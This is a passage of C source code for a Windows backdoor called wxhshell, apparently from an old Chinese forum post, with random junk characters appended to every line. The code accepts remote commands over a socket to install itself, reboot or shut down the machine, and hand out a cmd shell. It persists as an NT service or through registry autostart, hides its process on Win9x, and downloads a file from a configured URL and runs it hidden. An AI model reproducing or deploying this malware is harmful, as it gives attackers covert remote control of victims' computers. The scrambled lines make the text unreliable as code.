  case '?': { {m~.'DU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \7rFfN3  
    break; c[J(H,mt/  
  } W~(@*H  
  // 安装 X ptb4]  
  case 'i': { 6MQ+![fN  
    if(Install()) e\%+~GUTC=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6&_"dg"  
    else PnkJ Wl<S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <0T5W#H`D  
    break; 4$.$j=Ct."  
    } $mOVo'2  
  // 卸载 4^cDp!8  
  case 'r': { g"aWt% P  
    if(Uninstall()) ^F2 OTz4n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $51M' Qu  
    else 6t/nM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L[o;@+32  
    break; m}&cXY  
    } vaN}M)W/  
  // 显示 wxhshell 所在路径 GSo&$T;B6  
  case 'p': { l]t9*a]a  
    char svExeFile[MAX_PATH]; jN 9|q  
    strcpy(svExeFile,"\n\r"); "&;8U.  
      strcat(svExeFile,ExeFile); &<hDl<E  
        send(wsh,svExeFile,strlen(svExeFile),0); A2>rS   
    break; zmd,uhNc:  
    } )a"rj5~-  
  // 重启 X^;[X~g  
  case 'b': { %;ZWYj`]n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w/_n$hX  
    if(Boot(REBOOT)) VQ wr8jXye  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); " !43,!<  
    else { !wP |t#Sc9  
    closesocket(wsh); =OY&;d!C  
    ExitThread(0); z{XN1'/V  
    } &c!d}pU}  
    break; 8axz`2`  
    } aK>5r^7S  
  // 关机 !kCMw%[  
  case 'd': { b-4g HW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZslH2#   
    if(Boot(SHUTDOWN)) k\->uSU9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V6l~Aj}/  
    else { .x\fPjB   
    closesocket(wsh);  +6paM  
    ExitThread(0); -+MGs]),  
    } v`&  
    break; EC9D.afy&  
    } u\LG_/UJV1  
  // 获取shell :sO^b*e /  
  case 's': { &q~**^;'  
    CmdShell(wsh); }#0MJ6L  
    closesocket(wsh); 4HX qRFUD  
    ExitThread(0); |]=. ^  
    break; i T* !3  
  } LF o{,%B  
  // 退出 'lmZ{a6  
  case 'x': { { a2Y7\C/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xW|^2k  
    CloseIt(wsh); 7C~qAI6Eg  
    break; fDe4 [QQ8  
    } 55lL aus  
  // 离开 CbPCj.MH  
  case 'q': { 0LI:R'P+P[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5gP<+S#>T  
    closesocket(wsh); ;/tZsE{  
    WSACleanup(); u=j|']hp#&  
    exit(1); 2hB';Dv  
    break; O5}/OH|j  
        } gFO|)I N  
  } iMgfF_r  
  } YA(_*h  
<(|No3jx  
  // 提示信息 }m '= _u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oh%kuO T[  
} 1X-KuGaD  
  } aJh=4j~.  
e<_yr>9g"  
  return; JtB"Dh  
} D@]gc&JN[  
b1X.#pz7F  
// shell模块句柄 nq'vq] ]  
int CmdShell(SOCKET sock)  ?gZJ v  
{ >&uG1q0p.  
STARTUPINFO si; [y^)&L$=  
ZeroMemory(&si,sizeof(si)); Zmx[u_NG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !: e0cV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FN$ hEc!  
PROCESS_INFORMATION ProcessInfo; 'vgO`  
char cmdline[]="cmd"; NF?FEUoxz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,p(4OZz5,  
  return 0; &5 *)r@+  
} :V)W?~Z7B  
B@ab[dm280  
// 自身启动模式 _ F0qq j  
int StartFromService(void) {?a9>g-BW  
{ d<*4)MRN  
typedef struct qF9rY)ifm  
{ 3F%Q q7v  
  DWORD ExitStatus; j s(E-d/  
  DWORD PebBaseAddress; V<} ^n  
  DWORD AffinityMask; 9&'I?D&8  
  DWORD BasePriority; , N :'Z  
  ULONG UniqueProcessId; ,gU%%>-_~w  
  ULONG InheritedFromUniqueProcessId; [V#"7O vl  
}   PROCESS_BASIC_INFORMATION; Q:iW k6  
4SG22$7W  
PROCNTQSIP NtQueryInformationProcess; C:tA|<b|  
P\ yt!S2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y`FGD25`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,v"/3Ff{,  
++KY+j.^  
  HANDLE             hProcess; +mBJvrI  
  PROCESS_BASIC_INFORMATION pbi; JOj\#!\>k0  
X,- ' v[z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z&mV1dxR  
  if(NULL == hInst ) return 0; JCIm*6~  
<`dF~   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qZ!1>`B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \!UNa le  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S"|sD|xOb  
&77]h%B >  
  if (!NtQueryInformationProcess) return 0; ivdw1g|)h  
{Y5h*BD>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); my#qmI  
  if(!hProcess) return 0; Isq3YY  
9Ao0$|@b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l<<G". ?  
1B3,lYBM  
  CloseHandle(hProcess); mB(*)PwZ  
B0c}5V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '-#6;_ i<  
if(hProcess==NULL) return 0; .?SClTqg  
}?P~qJ|1  
HMODULE hMod; t\2myR3  
char procName[255]; c ;3bX6RD*  
unsigned long cbNeeded; PN:8H>  
v9~Hl   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [5%/{W,~m  
hp(n;(OR  
  CloseHandle(hProcess); m[^;HwJ  
X.0/F6U  
if(strstr(procName,"services")) return 1; // 以服务启动 dE5DH~ldV  
;{|a~e?Y  
  return 0; // 注册表启动 KmV>tn BQ  
} *8p\.za1  
^_<>o[qE  
// 主模块 IidZ -Il  
int StartWxhshell(LPSTR lpCmdLine) l,/q# )5[  
{ 3&*0n^g  
  SOCKET wsl; rL URP2~  
BOOL val=TRUE; y? [*qnPj  
  int port=0; F~d !Ub$>  
  struct sockaddr_in door; Zn3iLAPBX  
QnxkD)f*0  
  if(wscfg.ws_autoins) Install(); bcpH|}[F)  
Fga9  
port=atoi(lpCmdLine); @{_PO{=\C  
yZ:|wxVY  
if(port<=0) port=wscfg.ws_port; cFLu+4.jsG  
Cu({%Gy+  
  WSADATA data; ^JtGT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hBsjO3n  
whNRUOK:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZP)=2'RY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dh/:H/k kR  
  door.sin_family = AF_INET; ,Ucb)8a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HZQI|  
  door.sin_port = htons(port); }jd[>zk  
pmCBe6n \l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i/xPO  
closesocket(wsl); HqgTu`  
return 1; :kZ2N67  
} p!'wOThO`  
z@y* jT  
  if(listen(wsl,2) == INVALID_SOCKET) { ]_BG"IR!..  
closesocket(wsl); "EpE!jh  
return 1; 17D167\X  
} }sy3M rb  
  Wxhshell(wsl); sSG]I%oB3  
  WSACleanup(); :yT~.AK}>1  
gb(\c:yg1R  
return 0; @ x*#7Y  
(Xq eX(s  
} pq5)Ug  
!xo@i XL  
// 以NT服务方式启动 v,>F0ofJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) aic6,>\!'  
{ {>FA ~}cX.  
DWORD   status = 0; &P3B  
  DWORD   specificError = 0xfffffff; 0'97af  
=< CH(4!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d; #9xD'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Wc3!aLNx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |[34<tIN  
  serviceStatus.dwWin32ExitCode     = 0; Q X@&~  
  serviceStatus.dwServiceSpecificExitCode = 0; j{_MDE7N  
  serviceStatus.dwCheckPoint       = 0; M/V >25`  
  serviceStatus.dwWaitHint       = 0; +G/~v`Bv  
e^'?:j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M`?/QU~  
  if (hServiceStatusHandle==0) return; LR)is  
ip5s'S~  
status = GetLastError(); 6\o.wq  
  if (status!=NO_ERROR) tu!u9jVv  
{ 56<LMY|d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r.ajw&J2  
    serviceStatus.dwCheckPoint       = 0; Y_/Kd7,\~  
    serviceStatus.dwWaitHint       = 0; `MTOe 1  
    serviceStatus.dwWin32ExitCode     = status; '&<-,1^L  
    serviceStatus.dwServiceSpecificExitCode = specificError; Zl,K#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N_0&3PUSM  
    return; [q.W!l4E  
  } qE,%$0g  
^|sxbP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q=nMZVVlF(  
  serviceStatus.dwCheckPoint       = 0; 7DYD+N+T  
  serviceStatus.dwWaitHint       = 0; Z<,gSut'Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B8s|VI  
} Olxb`x  
aRG[F*BY  
// 处理NT服务事件,比如:启动、停止 P`bR;2o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %Vt@7SwRJ  
{ t1Jz?Ix6%  
switch(fdwControl) M3z7P.\G  
{ ;? :,L  
case SERVICE_CONTROL_STOP: D[tGbk  
  serviceStatus.dwWin32ExitCode = 0; %!.rP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :&:>sd(QD  
  serviceStatus.dwCheckPoint   = 0; p`d:g BZ  
  serviceStatus.dwWaitHint     = 0; ]hf4= gm  
  { rz7yAm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !m(6/*PAl  
  } q6G([h7  
  return; 2PeI+!7s  
case SERVICE_CONTROL_PAUSE: SiBbz4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3:;%@4f  
  break; b6/:reH{  
case SERVICE_CONTROL_CONTINUE: Fk9(FOFg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /Cg/Rwl  
  break; e1/|PgT(KM  
case SERVICE_CONTROL_INTERROGATE: 9MYt4  
  break; 3p4bOT5  
}; b5)>h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `GDYL7pM(  
} (Iq\+@xE=  
33;|52$  
// 标准应用程序主函数 ;q^YDZ'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kXjpCtCu  
{ sIy$}_  
AMm O+E?  
// 获取操作系统版本 #&5\1Qu  
OsIsNt=GetOsVer(); mE7Jv)@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); aEM#V  
&GZR-/  
  // 从命令行安装 R;.WOies4  
  if(strpbrk(lpCmdLine,"iI")) Install(); -"nYCF  
G7=8*@q>:  
  // 下载执行文件 a #0{tZd  
if(wscfg.ws_downexe) { 7r;A wa  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '{u#:TTj  
  WinExec(wscfg.ws_filenam,SW_HIDE); kg@J.   
} Q?;ntzi  
}N|/b"j9  
if(!OsIsNt) { Qp?+_<{  
// 如果时win9x,隐藏进程并且设置为注册表启动 uA,{C%?  
HideProc(); 6FmgK"t8  
StartWxhshell(lpCmdLine); 2bC%P})m  
} iGlZFA  
else Z)&HqqT3p  
  if(StartFromService()) a|53E<5X  
  // 以服务方式启动 UCWU|r<s,  
  StartServiceCtrlDispatcher(DispatchTable); ropiyT9;  
else k %rP*b*  
  // 普通方式启动 1e+?O7/  
  StartWxhshell(lpCmdLine); puyL(ohem  
K;ML'  
return 0; ;5l|-&{@*  
}
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只看该作者 1 发表于: 2006-10-10
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